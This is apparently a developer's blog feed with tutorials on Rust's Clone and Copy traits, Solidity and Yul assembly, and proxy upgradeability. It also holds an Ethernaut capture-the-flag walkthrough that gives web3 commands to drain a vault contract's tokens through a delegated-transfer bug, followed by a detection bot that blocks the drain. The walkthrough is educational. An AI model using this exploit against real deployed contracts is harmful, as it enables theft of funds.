DEV Community: Naveen ⚡

Disambiguating Clone and Copy traits in Rust

Naveen ⚡ — Mon, 27 Jun 2022 18:40:20 +0000

If you've been dipping your toes in the awesome Rust language, you must've encountered the clone() method which is present in almost every object out there to make a deep copy of it. It comes from the implementation of Clone trait for a struct.

But, you must also have encountered this Copy trait if you ventured a bit into docs deeper or in an error message. Copy also allows some type to replicate its instances. So, what's the deal here with Clone and Copy traits? That is exactly what this article is about.

Ownership in Rust

I won't delve too deep into ownership here, but this is what we need to know to get the gist of this article:

Unlike other languages, each value in Rust has an owner which is the variable assigned to it.
Any value can only have one owner at a time. Although, multiple variables can hold reference to or borrow the same value - but that value will only have one owner.
When the owner (variable) goes out of scope, the value is destroyed - freeing the memory.

This ownership model in Rust may seem constraining but it is one of the things that makes Rust a great language. It makes you, the programmer, harder to write code with hideous bugs.

Memory Allocation in Rust

Normally, you don't have to worry about stack or heap memory allocation - it is done automatically by the language. But in Rust, a variable may behave differently depending on whether it is on the stack or heap. Rust strives to be performant because of it.

The general rule is that simple values like numeric types - u16, i32, f64 etc. - are stored on the stack as they have known fixed size and it is cheap to copy them. Pointers like &str (NOT the value it is pointing to!) are also stored on the stack because of their fixed size!

Dynamically sized types (DSTs) like String and Vec are stored on the heap. DSTs can be mutated to grow or shrink in size. They don't have a fixed size and it can be very expensive to copy them making them unsuitable for stack location.

Alright! That is enough primer, let's cut to the chase.

`Clone` trait

The Clone trait defines the ability to explicitly deep copy an object. Take an example of a String struct instance that implements Clone trait.

// initial owner of string value
let s1 = String::from("hello!");

// ownership of same value transferred to s2
let s2 = s1; 

// error! s1 was moved!
println!("{}", s1);

The above example works according to ownership rules of Rust. The assignment of s1 to s2 transfers ownership of the String instance to s2, since there can be only one owner of a value at a time in Rust. If you've worked with other statically typed languages you might call this a shallow copy of s1 as s2 now points to the same data as s1 was pointing to, without any re-allocation in memory. Only pointer in the stack was copied, not value in the heap.

In Rust lingo however, it is termed as a move, in the sense that value of s1 is moved into s2 and s1 is no longer valid. Hence any access to s1 will result in an error - which is different from other languages.

Now to make deep copy of the String you will have to explicitly invoke the clone() method. When you clone() a value Rust would replicate both pointer in the stack as well as data at heap.

// owner is s1
let s1 = String::from("hello!"); 

// deep copy of s1 is allocated to s2
let s2 = s1.clone(); 

// this is fine!
println!("{}", s1);

This is what clone() method does - making a deep copy of an instance.

Copy trait

The Copy trait defines the ability to implicitly copy an object. This is available for the types that have a fixed size and are stored entirely on the stack. u32 is a good example that implements Copy.

// owner is n1
let n1 = 256;

// n1 is implicitly copied on stack and 
// copied value is assigned to n2 
let n2 = n1; 

// this is fine!
println!("{}", n1);

The above example may seem contradictory to ownership rules at first. But, since u32 are Copy type, n1 value is implicitly copied into n2 and NOT moved. This is because u32 values are stored on stack and it is cheap to copy them. There is no corresponding copy() method provided by Copy trait (unlike Clone's clone()). The copy here happens implicitly. Also, there is no difference between a shallow copy or deep copy here.

The Copy trait can only be annotated to types that are stored on stack. Like integer types or structs that have all their fields of Copy type. You cannot annotate a type as Copy if any of its constituent parts cannot be stored on stack.

// This is fine!
#[derive(Clone, Copy)]
struct Demo {
    _a: u32, // Copy type ✅
    _b: i8, // Copy type ✅
}

// This will NOT compile!
#[derive(Clone, Copy)]
struct Demo {
    _a: u32, // a Copy type ✅
    _c: String // NOT a Copy type! ❌
}

Conclusion

The difference between Clone and Copy traits become clear when you understand when and what values are stored on stack and heap. Copy is exclusively for types that can be pushed on the stack and Clone is for types that can be pushed on the stack as well as on the heap.

Since making a copy of Copy types is cheap, it is an implicit process. Instead of a move, a Copy (like u32) type is copied when assigned to a variable. While making deep copy of a Clone type is expensive. So, to make a deep copy of a Clone type, you have to explicitly invoke the clone() method, otherwise a move happens (copy pointer on stack), which is only a stack operation, hence cheap.

Alright, I hope that clears the confusion between Copy and Clone traits in Rust!

Find me on Twitter @the_nvn!

Resources

Ethernaut Hacks Level 26: Double Entry Point

Naveen ⚡ — Sun, 12 Jun 2022 12:22:37 +0000

This is the level 26 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

Contract ABI Specification

Hack

Given contracts:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface DelegateERC20 {
  function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
      require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
      usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
        return;
    } catch {}
  }

  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 
}

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) public {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}

player has to find the bug in the CryptoVault and create a Forta bot to protect it from being drained.

First, let's figure out the exploit that allows to drain the underlying (DET) tokens. If you see the sweepToken() method it can be seen that it restricts sweeping the underlying tokens with a require check - as expected. But take a look at LegacyToken's transfer() method:

if (address(delegate) == address(0)) {
    return super.transfer(to, value);
} else {
    return delegate.delegateTransfer(to, value, msg.sender);
}

Looks like it actually calls delegateTransfer() method of some DelegateERC20 contract. But this DelegateERC20 is nothing but the implementation of the underlying (DET) token itself! And delegateTransfer() simply transfers the tokens according to given parameters. The only restriction delegateTransfer() puts is that msg.sender must be the LegacyToken (delegatedFrom address) contract.

So we can indirectly sweep the underlying tokens through transfer() of LegacyToken contract. We simply call sweepToken with address of LegacyToken contract. That in turn would make the LegacyContract to call the DoubleEntryPoint's (DET token) delegateTransfer() method.

vault = await contract.cryptoVault()

// Check initial balance (100 DET)
await contract.balanceOf(vault).then(v => v.toString()) // '100000000000000000000'

legacyToken = await contract.delegatedFrom()

// sweepTokens(..) function call data
sweepSig = web3.eth.abi.encodeFunctionCall({
    name: 'sweepToken',
    type: 'function',
    inputs: [{name: 'token', type: 'address'}]
}, [legacyToken])

// Send exploit transaction
await web3.eth.sendTransaction({ from: player, to: vault, data: sweepSig })

// Check balance (0 DET)
await contract.balanceOf(vault).then(v => v.toString()) // '0'

And CryptoVault is swept of DET tokens!

This worked because during invocation transfer() of LegacyToken the msg.sender was CryptoVault. And when delegateTransfer() invoked right after, the origSender is the passed in address of CryptoVault contract and msg.sender is LegacyToken so onlyDelegateFrom modifier checks out.

Now to prevent this exploit we have to write a bot which would be a simple contract implementing the IDetectionBot interface. In the bot's handleTransaction(..) we could simply check that the address was not CryptoVault address. If so, raise alert. Hence preventing sweep.

Open up Remix and deploy the bot (on Rinkeby) and copy its address.

pragma solidity ^0.8.0;

interface IForta {
    function raiseAlert(address user) external;
}

contract FortaDetectionBot {
    address private cryptoVault;

    constructor(address _cryptoVault) {
        cryptoVault = _cryptoVault;
    }

    function handleTransaction(address user, bytes calldata msgData) external {
        // Extract the address of original message sender
        // which should start at offset 168 (0xa8) of calldata
        address origSender;
        assembly {
            origSender := calldataload(0xa8)
        }

        if (origSender == cryptoVault) {
            IForta(msg.sender).raiseAlert(user);
        }
    }
}

Note that in the above FortaDetectionBot contract we extract the address of the original transaction sender by calculating its offset according to the ABI encoding specs.

Now set the bot in Forta contract:

// FortaDetectionBot
botAddr = '0x...'

// Forta contract address
forta = await contract.forta()

// setDetectionBot() function call data
setBotSig = web3.eth.abi.encodeFunctionCall({
    name: 'setDetectionBot',
    type: 'function',
    inputs: [
        { type: 'address', name: 'detectionBotAddress' }
    ]
}, [botAddr])

// Send the transaction setting the bot
await web3.eth.sendTransaction({from: player, to: forta, data: setBotSig })

That is it!

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

A Practical Introduction To Solidity Assembly: Part 2

Naveen ⚡ — Fri, 29 Apr 2022 19:38:23 +0000

In the previous part (Part 1) we understood some facts about solidity compiler and wrote the Box contract's functions using inline assembly i.e. in Yul. This part would guide you to writing the Box contract in pure assembly. As a reminder here is the Box contract with inline assembly from previous part:

pragma solidity ^0.8.7;

contract Box {
    uint256 public value;

    function retrieve() public view returns(uint256) {
        assembly {
            // load value at slot 0 of storage
            let v := sload(0) 

            // store into memory at 0
            mstore(0x80, v)

            // return value at 0 memory address of size 32 bytes
            return(0x80, 32) 
        }
    }

    function store(uint256 newValue) public {
        assembly {
            // store value at slot 0 of storage
            sstore(0, newValue)

            // emit event
            mstore(0x80, newValue)
            log1(0x80, 0x20,0xac3e966f295f2d5312f973dc6d42f30a6dc1c1f76ab8ee91cc8ca5dad1fa60fd)
        }
    }
}

Prelude

You've already had a taste of assembly with inline assembly. We're going to use the body of the functions similarly using opcodes to perform operations. Note that when Box will be purely written in Yul, it will no longer be a Solidity contract. The solidity compiler only recognizes the inline assembly with the assembly { } blocks. So, if you're writing it on Remix IDE, be sure to select Yul compiler.

Before I move into assembly let me explain how exactly the contract is "initiated" by the EVM. Our Box contract doesn't have a constructor but that doesn't mean there won't be any initial setup execution going on. The compiled bytecode of a contract has two sections:

Initialization bytecode

This part of bytecode contains the instruction for setting up any initial state (contract constructor logic) and handing over the copy of runtime bytecode to EVM, during the deployment of the contract. After EVM receives runtime bytecode it saves it on blockchain storage and associates with an address. Thus, the final bytecode deployed on-chain consists only of the runtime bytecode. Initialization bytecode is executed only once during the deployment of the contract and is not stored in the storage.

For example in the below bytecode of some very tiny contract:

600a600c600039600a6000f3602a60505260206050f3

The leading 600a600c600039600a6000f3 part is initialization bytecode and rest is runtime bytecode.

Since, we will be writing in pure assembly, any initialization operation will need to be performed manually now. Box does not have any constructor, so no initial state variable will be set up. Only thing left to do is to copy the runtime code and return it to EVM. Rest is automatically handled by the EVM itself.

Runtime bytecode

This comprises of anything (methods, events, constants, etc.) in contract except constructor code. It consists of all execution logic when the contract is interacted with.

When a contract is interacted through calling a method on it - an encoded calldata is sent to the contract. The contract extracts the first 4 bytes of this calldata, which is the function selector and basically run a series of if / else statements to decide which function matches it. And execution is then carried out according to matched function (in runtime bytecode).

For example, consider the following calldata:

0x6057361d000000000000000000000000000000000000000000000000000000000000000a

where 6057361d is the function selector - which will match Box's store() function - which will be invoked after match.

Basic Yul Structure

A Yul code consists of "blocks" and "sub-blocks" defined by object keyword. An object. These objects are used to group code and data nodes within them. The data node is some static data. And code node is executable code of object. Within code node you write logic using loops, if-else statements, opcodes, etc.

object "ExampleObject" {
    code {
        // some logic code
    }

    data "ExampleData" hex"123"

    object "ExampleSubObject" {
        code {
            // some other logic code
        }
    }
}

See an example here.

Pure Assembly `Box` Contract

A contract consists of a single object with sub-objects which represent the (runtime) code to be deployed. The code nodes are executable code of a object. For example we defined/structure Box contract as follows:

object "Box" {
    code {
        // initialization code
    }

    object "runtime" {
        code {
            // runtime code within sub-object
        }
    }
}

Let's focus on initialization part first and then move on to runtime part.

Initialization code

As discussed earlier, the initialization code must return the runtime code. For this we're required to determine the offset (aka position) of the runtime code in the contract's bytecode and its size. Then copy this bytecode to the memory so that it can be returned.

The Yul dialect actually provides three specific functions to do this: datasize(x), dataoffset(x) and datacopy(t, f, l) which are used to access other parts of a Yul object.

The datacopy of Yul is similar to that of codecopy of EVM. It takes the destination offset (in memory) to copy code to, the source offset to copy code from and the length of the code to copy. Then we simply return it with return opcode.

dataoffset returns offset of the runtime section and datasize returns the size of it.

object "Box" {
    code {
        let runtime_size := datasize("runtime")
        let runtime_offset := dataoffset("runtime")
        datacopy(0, runtime_offset, runtime_size)
        return(0, runtime_size)
    }

    object "runtime" {
        code {
            // runtime code within sub-object
        }
    }
}

Runtime code

Okay, time to sort out the runtime part. Fortunately, with Yul we can write functions just like in we did with inline assembly before. The only tricky part is determining the which function to execute, upon receiving the calldata. Remember from previously discussed that this is done behind the scenes by extracting the function selector (first 4 bytes of calldata) and matching it with the functions defined in the contract. How do we do that? Let's see!

Before solving how to go about function selector thing, first let's define the retrieve and store functions.

Time to fill-in runtime part - which is almost similar to the functions inline assembly part.

object "Box" {
    code {
        // ..
    }

    object "runtime" {
        code {
            function retrieve() -> memloc {
                let val := sload(0)
                memloc := 0x80
                mstore(memloc, val)
            }

            function store(val) {
                sstore(0, val)
                mstore(0x80, val)
                log1(0x80, 0x20,0xac3e966f295f2d5312f973dc6d42f30a6dc1c1f76ab8ee91cc8ca5dad1fa60fd)
            }
        }
    }
}

Above, the store() function is basically the same as before in inline assembly. retrieve() however, instead of returning the value upfront, stores it in memory (mstore(memloc, val)) returns the memory location at which the value is stored. Reason will become clear later.

It might seem we're done, but not so fast! It's pure assembly. Remember the runtime code part where function selector from calldata is extracted to match the function to be executed? Well, we need to manually do that too. So, let's go!

First, let's calculate the selector from calldata that was sent to it. The calldata may contain encoded arguments of call, apart from the function selector. But we need to extract the first 4 bytes (selector) part of the calldata for time being. The calldata can be read using the calldataload opcode which takes only 1 input - the position/offset to read the calldata from. But it returns fixed 32 byte length of data starting from the given position.

For example, if we invoke store(10) (10 = 0xa) on Box, the calldata will look like this:

0x6057361d000000000000000000000000000000000000000000000000000000000000000a

Now, if you do calldataload(0) on above calldata it returns 32 byte value starting from 0:

6057361d00000000000000000000000000000000000000000000000000000000

How do we extract only first 4 bytes (6057361d) from this (calldataload(0)) now? Actually, we can use division using div opcode, like following:

div(
    calldataload(0),
    0x100000000000000000000000000000000000000000000000000000000
)

// gives first four bytes of calldataload(0) i.e. 6057361d

But why does it work? Let's take an example with decimal numbers instead of hexadecimal numbers. If 9876543 was calldata and we wanted to extract just first 4 digits using division operation, what would you divide it by (ignore decimals)? Correct, by 1000!

9876543 / 1000 = 9876 // considering only integer part

Similarly - to get first 4 bytes of 32 byte length (total 64 hex characters) of hex - calldataload(0), we divide it by 0x100000000000000000000000000000000000000000000000000000000 (56 0s).

Based on this let's write a helper function selector that extracts function selector from calldata.

object "Box" {
    code { .. }

    object "runtime" {
        code {
            function retrieve() -> memloc { .. }

            function store(val) { .. }

            function selector() -> s {
                    s := div(calldataload(0), 
                    0x100000000000000000000000000000000000000000000000000000000)
            }
        }
    }
}

Only thing left now is to switch to the appropriate function based of selector we just extracted. For this purpose we can utilize Yul's switch statement.

When contract is compiled to bytecode every function's selector is also pre-calculated and appended in the bytecode itself. So, that it can be compared against extracted selector from calldata. Hence, we'll also need to pre-calculate selectors of store() and retrieve() functions. One way to do this is using the keccak256 hashing of function signature:

// retrieve function
bytes4(keccak256("retrieve()")); // 0x2e64cec1

// store function
bytes4(keccak256("store(uint256)")); // 0x6057361d

Now with function selectors calculated, we can write the switch statement:

object "Box" {
    code { .. }

    object "runtime" {
        code {
            switch selector() 

            // retrieve function match
            case 0x2e64cec1 {
                let memloc := retrieve()
                return(memloc, 32)
            }

            // store function match
            case 0x6057361d {
                store(calldataload(4))
            }

            // revert if no match
            default {
                revert(0, 0)
            }   

            function retrieve() -> memloc { .. }

            function store(val) { .. }

            function selector() -> s {
                    s := div(calldataload(0), 
                    0x100000000000000000000000000000000000000000000000000000000)
            }
        }
    }
}

Remember we returned the memory location from retrieve() function instead of value? This is so, because we can use it with return opcode!

Another to note is the argument passed to store() function above i.e. calldataload(4). calldataload(4) would equate to the value argument passed along in the calldata. Since first 4 bytes is selector we skip first 4 bytes and read the next 32 bytes. From the previous calldata example of store(10) call:

0x6057361d000000000000000000000000000000000000000000000000000000000000000a

calldataload(4) would return:

000000000000000000000000000000000000000000000000000000000000000a

which is nothing by 10 in hex.

Finally we have a simple pure assembly (Yul) Box contract ready:

object "Box" {
    code { 
        let runtime_size := datasize("runtime")
        let runtime_offset := dataoffset("runtime")
        datacopy(0, runtime_offset, runtime_size)
        return(0, runtime_size)
    }

    object "runtime" {
        code {
            switch selector() 

            // retrieve function match
            case 0x2e64cec1 {
                let memloc := retrieve()
                return(memloc, 32)
            }

            // store function match
            case 0x6057361d {
                store(calldataload(4))
            }

            // revert if no match
            default {
                revert(0, 0)
            }   

            function retrieve() -> memloc {
                let val := sload(0)
                memloc := 0
                mstore(memloc, val)
            }

            function store(val) {
                sstore(0, val)
                mstore(0, val)
                log1(0x80, 0x20,0xac3e966f295f2d5312f973dc6d42f30a6dc1c1f76ab8ee91cc8ca5dad1fa60fd)
            }

            function selector() -> s {
                    s := div(calldataload(0), 
                    0x100000000000000000000000000000000000000000000000000000000)
            }
        }
    }
}

And this is it! Congrats, you made it!

Resources

Find me on Twitter @the_nvn

A Practical Introduction To Solidity Assembly: Part 1

Naveen ⚡ — Thu, 28 Apr 2022 20:44:11 +0000

In the previous part (Part 0) we covered some pre-requisite knowledge of EVM. In this part, we will write the Box contract partially in assembly - the function bodies of retrieve() and store(). Here is our Box contract in Solidity:

pragma solidity ^0.8.7;

contract Box {
    uint256 private _value;

    event NewValue(uint256 newValue);

    function store(uint256 newValue) public {
        _value = newValue;
        emit NewValue(newValue);
    }

    function retrieve() public view returns (uint256) {
        return _value;
    }
}

You can interleave Solidity statements with assembly { } blocks and can write inline assembly within that code block. As mentioned previously language used for assembly for EVM is Yul.

Prelude

Before you move further, I want to clear up some possible confusion. When you compile a contract it is compiled to bytecode. Bytecode is nothing but a long sequence of bytes, something like:

608060405234801561001....36f6c63430008070033

What does it represent? Well, it is nothing but list of tiny, 1 byte, instructions appended together. These tiny instructions are called opcodes. EVM understands/interprets these opcodes during execution of any operation in the contract.

In the above bytecode, for example, the first instruction is 60 (1 byte), which is code for opcode PUSH1. You can look up all of the EVM opcodes on evm.codes. These opcodes comprise of "EVM dialect".

While writing assembly code, in Yul, you'll notice that Yul provides functions like add, sload, store, mstore etc. which are similar to opcodes of EVM dialect - ADD, SLOAD, SSTORE, MLOAD respectively. But, EVM dialect is not exactly the same as Yul's. Even though most opcodes from EVM dialect are available in Yul dialect, but not all. E.g. PUSH1 opcode has no corresponding Yul function. You can check all such Yul functions on the docs.

Even though while writing Yul you get fine-grain control, Yul still manages some of the even more low level things like local variables and control flow. So, the order of level of control would be like:

Solidity < Yul (assembly) < bytecode (opcodes)

If you would want to go even beyond Yul, you'd be writing raw bytecode for the EVM and won't need the compiler 🤖.

Note: From now on I may use the term "opcode" to refer to Yul function that corresponds to EVM opcode in the context, since all common EVM opcodes are provided by Yul with similar function signature.

Inline Assembly

Now, let's use inline assembly to write retrieve() and store() function bodies of Box in assembly. We simply use assembly { } blocks. These blocks have access to outside local variables too.

First, focus on retrieve() function body. All it does is:

Read _value state variable from storage
Return the read value

You want opcodes to perform this. evm.codes is a great reference to search for EVM opcodes. Have a look there and search for our first opcode: sload.

`sload`

sload takes one input:

key which is Storage slot number (see Layout of Storage) to be read.

And returns the read value to call stack.

Go ahead read the slot 0 (_value is in slot 0):

assembly {
    let v := sload(0) // _value is at slot #0
}

Now how do we return it? Right! The return opcode.

`return`

It takes two inputs:

offset which is the location of where the value starts from in memory
size which is the number of bytes starting from offset.

But v returned by sload is in call-stack not memory for return to work with! So we need to move it to memory first. Enter mstore.

`mstore`

It also takes two inputs:

offset which is location (in memory array) where the value should be stored
value which is bytes to store (which is v for us).

Proceeding:

assembly {
    let v := sload(0) // read from slot #0
    mstore(0x80, v) // store v at position 0x80 in memory
    return(0x80, 32) // v is 32 bytes (uint256)
}

That's it we converted retrieve() body to assembly!

Note: If you're curious as to why I specifically chose 0x80 position in memory to store to store the value, it's because Solidity reserves four 32 byte slots (i.e. 0x00 to 0x7f) for special purposes. So free memory starts from 0x80 initially. While it's ok to just put 0x80 to store new variable in our very simple case, any more complex operation requires you to keep track of pointer to free memory and manage it. Read more in the docs.

function retrieve() public view returns(uint256) {
    assembly {
        // load value at slot 0 of storage
        let v := sload(0) 

        // store into memory at 0x80
        mstore(0x80, v)

        // return value at 0 memory address of size 32 bytes
        return(0x80, 32) 
    }
}

The store() function body can be written on the similar lines. I encourage you to reference the opcodes and try to write it on your own before moving further!

Alright, here is the store() function body in assembly:

function store(uint256 newValue) public {
    assembly {
        // store value at slot 0 of storage
        sstore(0, newValue)

        // emit event
        mstore(0x80, newValue)
        log1(0x80, 0x20,0xac3e966f295f2d5312f973dc6d42f30a6dc1c1f76ab8ee91cc8ca5dad1fa60fd)
    }
}

This time we used sstore opcode to store new value - the newValue param, at the same storage slot (slot 0) where our _value state variable is stored. Hence overwriting the old value with new value.

To emit the event (NewValue) with new value data, we used log1 opcode. First two parameters to it are offset in memory and size of the data like other opcodes.

So, we first moved newValue to memory at 0x80 position with mstore. Then, passed 0x80 as offset and 0x20 (32 in decimal) as size to log1 opcode. Now, you might be wondering what is that third argument we passed in to log1. It is topic - sort of a label for event, like the name - NewValue. The passed in argument is nothing but the hash of the event signature:

bytes32(keccak256("NewValue(uint256)"))

// 0xac3e966f295f2d5312f973dc6d42f30a6dc1c1f76ab8ee91cc8ca5dad1fa60fd

Finally, our Box contract looks like this now:

pragma solidity ^0.8.7;

contract Box {
    uint256 public value;

    function retrieve() public view returns(uint256) {
        assembly {
            // load value at slot 0 of storage
            let v := sload(0) 

            // store into memory at 0
            mstore(0x80, v)

            // return value at 0 memory address of size 32 bytes
            return(0x80, 32) 
        }
    }

    function store(uint256 newValue) public {
        assembly {
            // store value at slot 0 of storage
            sstore(0, newValue)

            // emit event
            mstore(0x80, newValue)
            log1(0x80, 0x20, 0xac3e966f295f2d5312f973dc6d42f30a6dc1c1f76ab8ee91cc8ca5dad1fa60fd)
        }
    }
}

In the next, part we'll be writing the Box in pure assembly. Buckle up! 😎

Resources

Find me on Twitter @the_nvn

A Practical Introduction To Solidity Assembly: Part 0

Naveen ⚡ — Wed, 27 Apr 2022 20:22:19 +0000

Solidity is by far the most used language for smart contracts on Ethereum blockchain. It is a high-level language that abstracts away various underlying nitty-gritty details (like several important safety checks) - and that is for good!

However, sometimes however you may want to go deep down to fine-grain controls of EVM whether it is for gas golfing, writing optimized libraries, or maybe some other witch-craft, who knows. Luckily, you can actually write part of your contract (or whole contract!) assembly language.

The language used for assembly here is called Yul which is your portal to access EVM's fine-grain controls. Be warned - writing assembly bypasses many important checks of Solidity. You should only use it when needed and if you know what the heck is going on!

Before you proceed, I assume you know basics of Ethereum and Solidity language, already. Alright let's go!

What to Expect

We're going to take at the classic Box contract below and progressively convert this contract to pure assembly. Apart from learning about Solidity assembly, you'll also learn how opcodes work, what goes under the hood when you deploy a contract or make an external function call and different locations where data is stored and when.

Prelude

In this part we are going to briefly focus on how Solidity handles and store variables in different places during execution. This will be key to understanding how Solidity assembly works. We are going to have intro to 4 data locations: storage, memory, call stack, and calldata.

Storage

Storage is where state variables are stored and persisted permanently. Structure of this storage can be visualized as simple key-value pairs. Both key and value are 32 bytes long. And since keys are 32 bytes or 256 bits long, there can be at most 2^256 different key-value pairs.

Slot# (key)      Value
-----------------------
0      ----->     123
1      ----->     456
      .
      .

The key here can also be considered as slot number - which ranges from 0 to 2^256 - 1. Hence, knowing the slot number, you can read data stored in that slot. This is sufficient basic overview of storage structure for our scope - but feel free to geek out on this Program The Blockchain post to dive into more details.

Memory

Memory is where temporary variables are stored during a function execution in Solidity code. Memory is usually used to store complex types such as arrays. You must've encountered memory keyword in Solidity code when defining an array, like this:

function f() public {
    uint256[] memory arr = new uint256[](10);
    // ..
}

Memory can be visualized as a byte array where data can be written in 32 byte or 1 byte chunks and read in 32 byte chunks.

-----------------------------
 1B |   32B   |   32B  |  ..
-----------------------------

Call Stack

Like memory call stack is also a volatile place for storing some data. While writing solidity you can manipulate Storage and Memory, the call stack is automatically utilized behind the scenes. It cannot be accessed using plain solidity code, but through assembly. Call stack is used to store values that are used immediately and don't need to be stored for later use.

So, how it differs from memory? The Solidity code is actually compiled to a list opcodes. You can consider these opcodes like low-level functions which can take inputs and give output. The way these opcodes receive argument/inputs (if any) is by popping off the same number of values from the call stack as the number of parameters it accepts. And, if it outputs anything it pushes the returned value to call stack.

For example - when you write to a state variable, the SSTORE opcode is executed. Now, SSTORE requires two inputs - the slot number to write to and the value to write. So, what SSTORE does is it pops off two values from the call stack and uses them as inputs. PUSH1 opcode can be used to push these inputs to stack first.

opcode      |   call stack
-----------------------------
PUSH1 0x05  |   0x5
            |
-----------------------------
PUSH1 0x00  |   0
            |   0x5
-----------------------------
SSTORE      |    -

The above example shows the state of call stack after corresponding opcode is executed. SSTORE store value 0x05 (5 in decimal) to slot 0x00 (0 in decimal) of Storage - by popping off two values from the call stack and using them as inputs.

This is why EVM is sometimes referred to as a stack machine!

You may ask why not use memory itself instead of call stack? Well, because using stack is more efficient and cheaper than memory for primitive/simple types. EVM is not the first to do this actually - many fast statically-typed languages like Rust also use stack.

Calldata

Calldata is similar to memory but is a special data location where function arguments are stored, only available to external function calls. According to docs:

Calldata is a non-modifiable, non-persistent area where function arguments are stored, and behaves mostly like memory

The calldata may look like this:

0x6057361d000000000000000000000000000000000000000000000000000000000000000a

where first 4 bytes (6057361d) are the function selector (identifier for target function) and rest are the input parameters (padded) passed to function.

The way EVM decides which function to execute seeing the received calldata is by matching the function selector from bytecode with pre-calculated function selectors of all the functions defined in the contract. We'll later implement this manually when writing a pure assembly contract.

So, you can consider an external function call is nothing but a long hex data (calldata) sent to a particular contract address.

Solidity Contract

Okay, we have all the required basic knowledge to better understand Solidity assembly (Yul) now. Let's pick the classic Box contract for our example.

pragma solidity ^0.8.7;

contract Box {
    uint256 private _value;

    event NewValue(uint256 newValue);

    function store(uint256 newValue) public {
        _value = newValue;
        emit NewValue(newValue);
    }

    function retrieve() public view returns (uint256) {
        return _value;
    }
}

Box is a simple contract that with one state variable _value which according to State Variable Layout Rules is stored in slot 0 of Storage. Moreover, it has two functions to get/set that value. Nothing complicated here.

For the next part, we'll be writing the following simple Box contract partially in assembly i.e. using inline assembly. Stay tuned 😉.

Resources

Find me on Twitter(https://twitter.com/the_nvn).

Proxy Patterns For Upgradeability Of Solidity Contracts: Transparent vs UUPS Proxies

Naveen ⚡ — Tue, 22 Mar 2022 19:19:49 +0000

Before you move further I assume you already of some Solidity experience and know how storage slots work in any contract.

Why Proxies anyway?

If you have following blockchain and smart-contracts stuff you must've come across the word - "immutable". Well, the smart-contracts are immutable. Yes, you cannot tweak any functionality of the contract at that address. You can only interact with it. That's it and it is for the better of it! Otherwise, it wouldn't be so "trustable" if say one day someone in control suddenly dictates the rules in contract in their favor! This is a stark difference from traditional systems where fixes are pushed everyday.

What could be done?

The drum rolls...proxies! Much has been researched which led the proxy pattern is the current de-facto for upgrading smart contracts.

But wait didn't you just say that contracts are immutable and cannot be changed!

Of course! And that immutability part still holds true. But proxies work around it.
Despite the much benefits of immutable nature of blockchains pushing bug-fixes and patches in multiple releases cannot be ignored and are much needed for patching bugs and security loopholes. The proxy pattern solves this. Let's see how.

How Proxies Work

The fundamental idea here is having a Proxy contract. A bit of contextual terminology here before moving on:

Proxy contract - A contract that acts as a proxy, delegating all calls to the contract it is the proxy for. In this context, it will also be referred as Storage Layer.

Implementation contract - The contract that you want to upgrade or patch. This is the contract that Proxy contract will be acting as a proxy for. In this context, it is also the Logic Layer.

The Proxy contract stores the address the implementation contract or logic layer, as a state variable. Unlike normal contracts, the user doesn't actually send calls directly to the logic layer - which is your original contract. Instead, all calls go through the proxy and this proxy delegates the calls to this logic layer - the implementation contract at the address that proxy has stored, returning any data it received from logic layer to the caller or reverting for errors.

                         delegatecall
User ---------->  Proxy  -----------> Implementation
             (storage layer)          (logic layer)

The key thing to note here is that the proxy calls the logic contract through delegatecall function. Therefore, it is the proxy contract which actually stores state variables i.e. it is the storage layer. It is like you only borrow the logic from implementation contract (logic layer!) and execute it in proxy's context affecting proxy's state variables in storage.

As an example consider a simple Box (implementation) contract, along with a BoxProxy (proxy) contract:

contract Box {
    uint256 private _value;

